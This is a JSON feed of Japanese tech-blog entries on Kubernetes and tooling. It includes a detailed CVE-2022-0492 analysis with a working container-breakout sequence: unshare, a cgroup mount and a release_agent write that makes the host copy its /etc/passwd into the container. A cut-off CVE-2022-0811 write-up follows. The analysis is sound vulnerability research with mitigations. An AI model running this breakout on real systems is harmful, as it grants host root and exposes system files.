SAAは2022/03に取得しましたAWSではない他のIT資格は以下で...","isoDate":"2022-06-24T00:36:49.000Z","dateMiliSeconds":1656031009000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Lexicalでシンタックスハイライトする","link":"https://zenn.dev/kimitsu/articles/440143e94af670","contentSnippet":"LexicalはDraft.jsの後継となるテキストエディタフレームワークです。元々Metaで開発されていたものがOSSとして公開されました。https://github.com/facebook/lexicalLexicalは主にリッチテキストを実装するためのフレームワークですが、高度に抽象化されているためソースコードエディタを実装するのにも利用できます。ただコードに関するモジュールである@lexical/codeはドキュメントが虚無なため、本記事で使い方の紹介ができればと思います。https://lexical.dev/docs/api/lexical-code @...","isoDate":"2022-06-19T13:45:37.000Z","dateMiliSeconds":1655646337000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"istio-proxyがどのように通信を仲介しているかを知る","link":"https://zenn.dev/tayusa/articles/aa54bbff3d0d2d","contentSnippet":"目的前回、書いた記事で素のKubernetesのネットワークについて少し理解できたのですが、Istioを入れた場合はEnvoyが通信を仲介するのでその仕組みを知りたく調べてみましたhttps://zenn.dev/tayusa/articles/c705cd65b6ee74 環境OS: Arch Linux(5.17.9-arch1-1)k8sの環境: kindhttps://kind.sigs.k8s.io/version 0.14.0デフォルトのk8sのバージョンは1.24 クラスタのセットアップ kindでクラスタ作成https:...","isoDate":"2022-06-03T18:42:53.000Z","dateMiliSeconds":1654281773000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"asdf のバージョン アップがうまくいかなかった","link":"https://zenn.dev/kyohei_saito/articles/40a13800f34d5f","contentSnippet":"最近、転職により業務環境が Windows から Mac に変わったことで、ツール類のバージョン管理として asdf を使用しはじめました。asdf 自体のバージョンアップがうまくいかない事象に直面したため、解決方法をメモしておきます。 サマリHomebrew により asdf をバージョンアップしたら、asdf でインストールしたツールが使用できなくなりました。shim ディレクトリ内のスクリプトに記述された asdf のパスが古いバージョンとなっていたことが原因でした。shim ディレクトリを別のディレクトリに移動後、asdf reshim を実行することで shim デ...","isoDate":"2022-05-29T09:36:54.000Z","dateMiliSeconds":1653817014000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"KubernetesのServiceの挙動を確認する","link":"https://zenn.dev/tayusa/articles/c705cd65b6ee74","contentSnippet":"目的普段、Kubernetesを触ってはいるのですが、表面的な使い方しか知らないので動きを確認してみます 環境OS: Arch Linux(5.17.9-arch1-1)k8sの環境: kindhttps://kind.sigs.k8s.io/version 0.14.0デフォルトのk8sのバージョンは1.24 ひとまず、ローカルでクラスタを立てる環境に応じてkindをインストールhttps://kind.sigs.k8s.io/docs/user/quick-start/#installationクラスタの作成$ kind ...","isoDate":"2022-05-28T12:19:47.000Z","dateMiliSeconds":1653740387000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"DenoとTypeScriptで自作CLIツールのghfを移植してみた(動機編)","link":"https://blog.atusy.net/2022/05/27/deno-ghf/","contentSnippet":"以前、ghコマンドを曖昧検索で便利にするghfコマンドを作りました。GitHub CLI(gh)に曖昧検索の力を加えるghfコマンドを作ってzshプラグイン化した","isoDate":"2022-05-27T00:00:00.000Z","dateMiliSeconds":1653609600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kueueアーキテクチャ/Kueue Architecture","link":"https://speakerdeck.com/bells17/kueue-architecture","contentSnippet":"参考リンク一覧:\\rコードリーディングメモ: https://zenn.dev/bells17/scraps/16625963e51d23 \\r動作確認用manifests: https://github.com/bells17/tmp/tree/main/kueue-example \\rリポジトリ: https://github.com/kubernetes-sigs/kueue/tree/v0.1.0\\rDesign Docs(controller): https://bit.ly/kueue-controller-design \\rDesign Docs(API): https://bit.ly/kueue-apis \\rOld Proposal: https://bit.ly/k8s-job-management \\r\\r---\\r\\rhttps://youtu.be/CFUfw3cMNI8?t=724\\rにてこのスライドを使ったKueueの解説セッションを行いましたので動画で見たい方はこちらでどうぞ","isoDate":"2022-05-24T04:00:00.000Z","dateMiliSeconds":1653364800000,"authorName":"bells17","authorId":"bells17"},{"title":"Goで立てたWebサーバーでソケットを学ぶ","link":"https://zenn.dev/tayusa/articles/077d911b357a92","contentSnippet":"目的TCPなどにまるで明るくないので、学習のために調べてみました 環境Arch Linux(5.17.9-arch1-1)go version go1.18.3 linux/amd64 やることGoで書いたWebサーバーを動かして挙動を確認したり、少しコードを見てみますコードは以下ですpackage mainimport (\\t\\"fmt\\"\\t\\"log\\"\\t\\"net/http\\"\\t\\"time\\")func main() {\\thttp.HandleFunc(\\"/\\", func(w http.ResponseWriter, r *http.Request)...","isoDate":"2022-05-22T12:32:11.000Z","dateMiliSeconds":1653222731000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Neovimのカラースキームを編集中のバッファのファイルパスに応じて変える","link":"https://blog.atusy.net/2022/04/28/vim-colorscheme-by-buffer/","contentSnippet":"Vim/NeovimでLSPを利用して関数などの定義を参照すると、気付いたら標準ライブラリなどを参照している、なんて場面があります。どこまで実装を追いたいかは人それぞれとは言え、作業ディレクトリの内外どちらのファイルを参照しているかはすぐに気付ける方がいいでしょう。","isoDate":"2022-04-28T00:00:00.000Z","dateMiliSeconds":1651104000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kueue入門/Kueue Introduction","link":"https://speakerdeck.com/bells17/kueue-introduction","contentSnippet":"#k8sjp 第50回のLT資料です\\rhttps://k8sjp.connpass.com/event/244591/","isoDate":"2022-04-27T04:00:00.000Z","dateMiliSeconds":1651032000000,"authorName":"bells17","authorId":"bells17"},{"title":"ProtocolBuffers/gRPCを安全に書き進めるためのエトセトラ","link":"https://speakerdeck.com/nwiizo/protocol-buffers-grpc-wo-an-quan-nishu-kijin-merutamefalseetosetora","contentSnippet":"OWASP Fukuoka Meeting #6 \\rhttps://owasp-kyushu.connpass.com/event/244388/ \\r#owaspfukuoka","isoDate":"2022-04-27T04:00:00.000Z","dateMiliSeconds":1651032000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"zennの執筆環境向けdevcontainerを作成した話","link":"https://zenn.dev/bells17/articles/zenn-devcontainer","contentSnippet":"タイトルまんまでzennの執筆環境向けdevcontainerを作成したという話です前々からzennの記事はGithub repositoryと連携して書いており、codespaceにvscodeから接続して執筆してたのですが、zenn-cliを使ったプレビューが可能らしいということを最近知ったので、devcontainerの勉強がてらサクッとプレビューが可能な環境を作りましたという内容になります作ったdevcontainerのリポジトリはこちらですhttps://github.com/bells17/zenn-template 使い方READMEに書いてある通りですが、te...","isoDate":"2022-04-17T15:27:41.000Z","dateMiliSeconds":1650209261000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/04/15] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220415","contentSnippet":"普段は#kubenewsの2022年04月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/j76uphcYs2E 告知とかニュースっぽいもの Kubernetes Meetup TokyoでLTする予定ですhttps...","isoDate":"2022-04-15T12:50:24.000Z","dateMiliSeconds":1650027024000,"authorName":"bells17","authorId":"bells17"},{"title":"吉祥寺.pm29で久しぶりにLTしてきました #kichijojipm","link":"https://blog.masasuzu.net/entry/2022/04/15/202342","contentSnippet":"kichijojipm.connpass.com久しぶりにLTしてきました。久しぶりに外で発表したいなと思いつつ、だいぶブランクあるのでちょうどいいリハビリできるところがないかな。— masasuzu (@masasuz) 2022年4月9日 こんなこと考えてたら良いタイミングできちぴーが開催されるので、LT申し込んでみました。#kichijojipm 7年ぶりにLTしたので緊張した。というのと、前回の発表調べて7年前もきちぴーあったのかという驚きもあった。— masasuzu (@masasuz) 2022年4月12日 どうやら7年ぶりだったみたいです。タイミング的に最終出社日の翌日だったので、キャリアの話をしました。diary.masasuzu.net正直、LTにおさまる量じゃなかったのは反省点です。資料ももうちょっとなんとかできたかなあという気持ちがあります。少しずつ登壇回数増やして、勘を取り戻していきたいところ。","isoDate":"2022-04-15T11:23:42.000Z","dateMiliSeconds":1650021822000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2022-04-12 吉祥寺.pm 29","link":"https://speakerdeck.com/masasuzu/2022-04-12-ji-xiang-si-dot-pm-29","contentSnippet":"","isoDate":"2022-04-12T04:00:00.000Z","dateMiliSeconds":1649736000000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"CVE-2022-0492 調査まとめ","link":"https://kyohmizu.hatenablog.com/entry/2022/04/06/233150","contentSnippet":"cgroups v1 の脆弱性 CVE-2022-0492 について、調査した内容をまとめました。イベントで発表した内容ですが、時間の都合で語りきれなかった部分も多く、内容を加筆してブログに書くことにしました。 speakerdeck.comCVE-2022-0492 概要release_agent についてエクスプロイト前提条件要点検証修正パッチコンテナセキュリティseccompAppArmor (SELinux)Kubernetes の場合EKS, GKE の場合さいごに参考リンクCVE-2022-0492LinuxコンテナセキュリティCVE-2022-0492 概要CVE-2022-0492 は cgroups v1 における特権昇格・コンテナブレイクアウトの脆弱性です。cgroups v1 の release_agent 機能を悪用することで、コンテナからホストの root 権限で任意コマンド実行が可能となります。詳細は後述しますが、これは本来特権コンテナに限定されるべき設定が、capabilities のチェック漏れにより非特権コンテナから行える状態だったことが原因です。本脆弱性は seccomp や AppArmor/SELinux を有効にすることで回避可能です。release_agent についてcgroups v1 は cpu, memory, pids のようにリソースをサブシステムに分割し、各サブシステムがディレクトリ構造を取っています。# ls /sys/fs/cgroup/blkio cpu,cpuacct cpuset freezer memory net_cls net_prio pids systemdcpu cpuacct devices hugetlb misc net_cls,net_prio perf_event rdma unifiedrelease_agent は各 cgroup サブシステムのルートディレクトリに配置されるファイルで、cgroup 内のプロセスが終了する時に起動させるプログラムを設定します。リリースエージェントプログラム の起動の有無は、cgroup ディレクトリ内の notify_on_release の値で判断されます。このファイルはルート以下、各 child cgroup のディレクトリにも配置されています。notify_on_release = 1 の場合、リリースエージェントプログラムを起動します。cgroup のディレクトリ構成pids cgroup のルートディレクトリを見ると、以下のように release_agent, notify_on_release のファイルを確認できます。# ls /sys/fs/cgroup/pids/cgroup.clone_children cgroup.sane_behavior docker notify_on_release system.slice user.slicecgroup.procs default init.scope release_agent tasks# cat /sys/fs/cgroup/pids/release_agent ← 空のファイル# cat /sys/fs/cgroup/pids/notify_on_release 0ちなみにコンテナに CAP_SYS_ADMIN がある場合、release_agent を使えば本脆弱性を利用することなくブレイクアウト可能です。https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)また cgroups v2 には release_agent がなく、リリースの通知は別の仕組みを使っています。エクスプロイト前提条件本脆弱性は次の条件を全て満たす場合に影響があります。root ユーザーまたは、no_new_privsフラグなしでコンテナを起動しているseccomp, AppArmor/SELinux がいずれも有効でないホストの非特権ユーザー名前空間が有効(ubuntu ではデフォルトの設定です)各設定の確認方法↓# cat /proc/sys/kernel/unprivileged_userns_clone ← 非特権ユーザ名前空間1# cat /proc/self/status | grep Seccomp ← seccompSeccomp: 0Seccomp_filters: 0# cat /proc/self/attr/current ← AppArmordocker-default (enforce)要点コンテナから cgroups の release_agent に書き込みたいrdma サブシステムは root cgroup に所属しているが、readonly でマウントされているcgroup を rw で新たにマウントしたいが、マウントには CAP_SYS_ADMIN が必要unshare で user namespace (ns) を作成すれば CAP_SYS_ADMIN が得られるcgroup, mount ns も同時に作成することで cgroup をマウント可能にrdma cgroup をマウント すると release_agent に書き込み可能cgroup 内のプロセスが終了するタイミングで、任意のプログラムをホストの root 権限で実行検証脆弱な Kernel バージョンで CVE-2022-0492 を検証します。インスタンスに用意した ubuntu 上で、seccomp, AppArmor をオフにした docker コンテナを起動します。# uname -aLinux ip-172-31-1-29 5.13.0-1017-aws #19~20.04.1-Ubuntu SMP Mon Mar 7 12:53:12 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashdocker はコンテナ作成時に cgroup ns を作成しないので、コンテナはホストと同じ cgroup ns に所属しています。自身の cgroup を確認すれば root cgroup からのパスがわかるため、コンテナ内から各サブシステムが root cgroup に所属しているかどうか調べることができます。root@ab988587a245:/# cat /proc/self/cgroup13:misc:/12:rdma:/ ← rdma サブシステムは root cgroup11:hugetlb:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a10:cpuset:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a9:net_cls,net_prio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a8:perf_event:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a7:blkio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a6:devices:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a5:freezer:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a4:cpu,cpuacct:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a3:pids:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a2:memory:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a1:name=systemd:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a0::/system.slice/containerd.serviceこれで rdma サブシステムが root cgroup に所属していることがわかりました。root@ab988587a245:/# mount | grep \'cgroup (ro\'cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma) ← readonly でマウントされているcgroup on /sys/fs/cgroup/misc type cgroup (ro,nosuid,nodev,noexec,relatime,misc)root@ab988587a245:/# ls -l /sys/fs/cgroup/rdma/total 0-rw-r--r-- 1 root root 0 Mar 15 01:40 cgroup.clone_children-rw-r--r-- 1 root root 0 Mar 15 01:40 cgroup.procs-r--r--r-- 1 root root 0 Mar 15 01:40 cgroup.sane_behavior-rw-r--r-- 1 root root 0 Mar 15 01:40 notify_on_release-rw-r--r-- 1 root root 0 Mar 29 16:01 release_agentdrwxr-xr-x 13 root root 0 Mar 26 21:07 system.slice-rw-r--r-- 1 root root 0 Mar 15 01:40 tasksroot@ab988587a245:/# echo test > /sys/fs/cgroup/rdma/release_agent bash: /sys/fs/cgroup/rdma/release_agent: Read-only file system ← 書き込みエラーというわけで、cgroup を rw でマウントできれば良いことになります。ここで capability を確認すると、コンテナは CAP_SYS_ADMIN を持っておらず、このままでは cgroup をマウントする権限がありません。root@ab988587a245:/# apt update && apt install -y libcap2-binroot@ab988587a245:/# cat /proc/self/status | grep CapEffCapEff: 00000000a80425fbroot@ab988587a245:/# capsh --decode=00000000a80425fb0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcaproot@ab988587a245:/# mount -t cgroup -o rdma cgroup /mntmount: /mnt: permission denied. ← マウントエラーCAP_SYS_ADMIN を付与するため user ns を作成し新たにプロセスを立ち上げます。さらに mount, cgroup ns を同時に作成することで、コンテナ内でのマウントが可能になります。マウントさえできれば release_agent に書き込むことができます。root@ab988587a245:/# unshare -rmC bash ← user, mount, cgroup ns を作成root@ab988587a245:/# cat /proc/self/status | grep CapEffCapEff: 000001ffffffffffroot@ab988587a245:/# capsh --decode=000001ffffffffff0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,38,39,40 ← CAP_SYS_ADMIN を持つroot@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt ← rdma サブシステムをマウントroot@ab988587a245:/# ls /mntcgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasksroot@ab988587a245:/# mount | grep \'cgroup (rw\'cgroup on /mnt type cgroup (rw,relatime,rdma)ここまでで、コンテナ内から release_agent に書き込めるようになりました。続いてコンテナ内のルート (/) に、ホストの権限で実行させたいプログラムを配置します。今回は /etc/passwd をコンテナ内に出力するスクリプトを作成しています。release_agent に設定するのはプログラムのパスですが、ホストから見た絶対パスを指定する必要があります。root@ab988587a245:/# host_path=`sed -n \'s/.*\\\\perdir=\\\\([^,]*\\\\).*/\\\\1/p\' /etc/mtab`root@ab988587a245:/# echo $host_path/var/lib/docker/overlay2/20c4102a1a817b0e564734054b876c051732c62f4993ce682508ac7cd7fcb1c6/diff ← upperdir のパスroot@ab988587a245:/# echo \\"$host_path/cmd\\" > /mnt/release_agentroot@ab988587a245:/# echo \'#!/bin/sh\' > /cmdroot@ab988587a245:/# echo \\"cat /etc/passwd > $host_path/output\\" >> /cmdroot@ab988587a245:/# chmod a+x /cmd最後に用意したプログラムを起動するため、cgroup 内のプロセスを空にします。root@ab988587a245:/# mkdir /mnt/xx ← child cgroup を作成root@ab988587a245:/# ls /mnt/xx/cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasksroot@ab988587a245:/# echo 1 > /mnt/xx/notify_on_releaseroot@ab988587a245:/# sh -c \\"echo \\\\$\\\\$\\" > /mnt/xx/cgroup.procs ← すぐに終了するプロセスを child cgroup に追加root@ab988587a245:/# cat /output ← コンテナ内にホストの /etc/passwd が出力されているroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologin...修正パッチhttps://github.com/torvalds/linux/commit/24f6008564183aa120d07c03d9289519c2fe02afhttps://github.com/torvalds/linux/commit/467a726b754f474936980da793b4ff2ec3e382a7 static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of, char *buf, size_t nbytes, loff_t off) { struct cgroup *cgrp;+ struct cgroup_file_ctx *ctx; BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);+ /*+ * Release agent gets called with all capabilities,+ * require capabilities to set release agent.+ */+ ctx = of->priv;+ if ((ctx->ns->user_ns != &init_user_ns) ||+ !file_ns_capable(of->file, &init_user_ns, CAP_SYS_ADMIN))+ return -EPERM; cgrp = cgroup_kn_lock_live(of->kn, false);修正後は上記検証手順での release_agent への書き込みはできません。これは書き込みプロセスが CAP_SYS_ADMIN は持ちますが、init user ns でないためだと理解しています。init user ns かつ CAP_SYS_ADMIN を同時に満たすのは、非特権コンテナにおいては不可能となりました。(厳密にはプロセスの capability と、対象 cgroup の所有 user ns のチェックを行なっています)# uname -r5.17.0-051700rc7-generic# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashroot@a45e44c77da9:/# unshare -rmC bashroot@a45e44c77da9:/# mount -t cgroup -o rdma cgroup /mntroot@a45e44c77da9:/# ls /mntcgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasksroot@a45e44c77da9:/# echo test > /mnt/release_agent bash: echo: write error: Operation not permittedただし特権コンテナでは引き続きコンテナブレイクアウトは可能です。SELinux を設定する等の対策は必要です。コンテナセキュリティコンテナセキュリティと本脆弱性の関係について簡単に見ていきます。seccompseccomp はコンテナ内で実行できるシステムコールを制限します。システムコールをブロックするため、ns を作成する段階でエラーとなります。# docker run --rm -it --security-opt apparmor=unconfined ubuntu bashroot@fb3522b81478:/# cat /proc/self/status | grep SeccompSeccomp: 2Seccomp_filters: 1root@fb3522b81478:/# unshare -rmC bashunshare: unshare failed: Operation not permittedAppArmor (SELinux)ファイル操作、プログラム実行、capabilities 等を制限します。# docker run --rm -it --security-opt seccomp=unconfined ubuntu bashroot@46912ffebb2c:/# cat /proc/self/attr/current docker-default (enforce)root@46912ffebb2c:/# unshare -rmC bashunshare: cannot change root filesystem propagation: Permission deniedKubernetes の場合Kubernetes においては、seccomp や AppArmor/SELinux は環境や設定次第では OFF のため影響が出る可能性があります。AppArmor/SELinux は Kubernetes ノードやコンテナランタイムで有効にする必要があります。さらに seccomp は Pod のマニフェストにも設定しなければなりません。また securityContext に適切な設定をすることも重要です。allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities 等でコンテナの機能を制限すれば、今後生まれる脆弱性の予防にもなると考えます。EKS, GKE の場合EKS のノードに使われる Amazon Linux 2 では、rdma のようなコンテナ内に root cgroup がマウントされたサブシステムはないようです。このため cgroup を新規にマウントしても release_agent は見えず、本脆弱性を悪用することはできません。# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashroot@287fcd93a54f:/# cat /proc/self/cgroup 11:pids:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b010:devices:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b09:hugetlb:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b08:perf_event:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b07:net_cls,net_prio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b06:blkio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b05:memory:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b04:cpu,cpuacct:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b03:freezer:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b02:cpuset:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b01:name=systemd:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0GKE のノードに使われる COS では、デフォルトで AppArmor が有効になっているようです。(https://cloud.google.com/container-optimized-os/docs/how-to/secure-apparmor)$ k run ubuntu --image ubuntu -- sleep 3600pod/ubuntu created$ k exec -it ubuntu -- bashroot@ubuntu:/# cat /proc/self/attr/current cri-containerd.apparmor.d (enforce)root@ubuntu:/# unshare -rmC bashunshare: cannot change root filesystem propagation: Permission denied以上のことから EKS, GKE では本脆弱性の影響はなさそうです。さいごに本脆弱性の調査を通じて、コンテナを構成する Linux の要素技術やコンテナセキュリティへの理解が深まりました。Linux の技術について包括的に学ぶのは(個人的には)難しいので、このような脆弱性の調査から学ぶアプローチも良いのではと思います。本記事が皆さんの学習の糧になれば幸いです。参考リンクCVE-2022-0492https://unit42.paloaltonetworks.jp/cve-2022-0492-cgroups/https://sysdig.jp/blog/detecting-mitigating-cve-2021-0492-sysdig/https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2022/03/06/cve-2022-0492https://nvd.nist.gov/vuln/detail/CVE-2022-0492Linuxhttps://lwn.net/Articles/679786/https://www.nginx.com/blog/what-are-namespaces-cgroups-how-do-they-work/https://linuxhint.com/install-linux-kernel-ubuntu/https://man7.org/linux/man-pages/man7/cgroups.7.htmlhttps://blog.tiqwab.com/2021/11/13/docker-and-cgroups.htmlhttps://en.wikipedia.org/wiki/Seccomphttps://en.wikipedia.org/wiki/Security-Enhanced_Linuxhttps://manpages.ubuntu.com/manpages/xenial/man5/apparmor.d.5.htmlコンテナセキュリティhttps://container-security.dev/security/breakout-to-host.htmlhttps://speakerdeck.com/mochizuki875/container-dev-securityhttps://speakerdeck.com/mochizuki875/container-seccomp","isoDate":"2022-04-06T14:31:50.000Z","dateMiliSeconds":1649255510000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"[2022/04/01] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220401","contentSnippet":"普段は#kubenewsの2022年04月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/qNk58ApYjdg 告知とかニュースっぽいもの Kubernetes Meetup Tokyoで登壇しましたhttps:/...","isoDate":"2022-04-01T12:45:40.000Z","dateMiliSeconds":1648817140000,"authorName":"bells17","authorId":"bells17"},{"title":"Cluster Autoscaler","link":"https://speakerdeck.com/bells17/cluster-autoscaler","contentSnippet":"Kubernetes Meetup Tokyo #49で発表したセッション資料です\\rhttps://k8sjp.connpass.com/event/240993/\\r\\r配信URL:\\rhttps://youtu.be/KOrantQgXkI?t=2258","isoDate":"2022-03-29T04:00:00.000Z","dateMiliSeconds":1648526400000,"authorName":"bells17","authorId":"bells17"},{"title":"CVE-2022-0811 調査まとめ","link":"https://kyohmizu.hatenablog.com/entry/2022/03/28/182243","contentSnippet":"CRI-O の脆弱性 (CVE-2022-0811) について調べた内容をまとめました。脆弱性の詳細と、関連する CRI-O の実装や Linux の機能を紹介します。CVE-2022-0811 概要CRI-O についてCRI-O 概要pinns による pod へのカーネルパラメータ設定Coredumpエクスプロイト要点検証回避策修正パッチcommit1commit2containerd の場合さいごに参考リンクCVE-2022-0811 概要CVE-2022-0811 は CRI-O の任意コード実行・コンテナブレイクアウトの脆弱性で、報告した CrowdStrike 社は「cr8escape」と呼んでいます。CRI-O の v1.19 以降に影響があり、すでに修正バージョンがリリースされています。 (詳細は Security Advisory を参照)カーネルパラメータ設定の検証不備により、/proc/sys/kernel/core_pattern への書き込みが可能となっていました。これによりプロセスを異常終了させることでホストの root 権限で任意の操作を行えます。CRI-O についてCRI-O 概要https://github.com/cri-o/cri-oCRI-O は Kubernetes に最適化された軽量な高レベルコンテナランタイムです。CLI ツールは crictl (https://github.com/kubernetes-sigs/cri-tools) を使用します。# cat container-config.json { \\"metadata\\": { \\"name\\": \\"ubuntu\\" }, \\"image\\":{ \\"image\\": \\"ubuntu\\" }, \\"command\\": [ \\"sleep\\", \\"3600\\" ], \\"log_path\\":\\"ubuntu.0.log\\", \\"linux\\": { }}# cat pod-config.json { \\"metadata\\": { \\"name\\": \\"ubuntu-sandbox\\", \\"namespace\\": \\"default\\", \\"attempt\\": 1, \\"uid\\": \\"hdishd83fjaiarawuwk28bcsb\\" }, \\"log_directory\\": \\"/tmp\\", \\"linux\\": { }}# crictl runp pod-config.json ← pod の起動b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc# crictl create b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc container-config.json pod-config.json ← コンテナ作成2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7# crictl start 2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7 ← コンテナ起動2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7# crictl podsPOD ID CREATED STATE NAME NAMESPACE ATTEMPT RUNTIMEb69761649f8f6 42 seconds ago Ready ubuntu-sandbox default 1 (default)# crictl psCONTAINER IMAGE CREATED STATE NAME ATTEMPT POD ID2ce8010c047df ubuntu 19 seconds ago Running ubuntu 0 b69761649f8f6pinns による pod へのカーネルパラメータ設定CRI-O は pinns utility を使用することで、pod 起動時にカーネルパラメータ (sysctls) を設定できます。first commit)設定には -s オプションを使用し、key=value 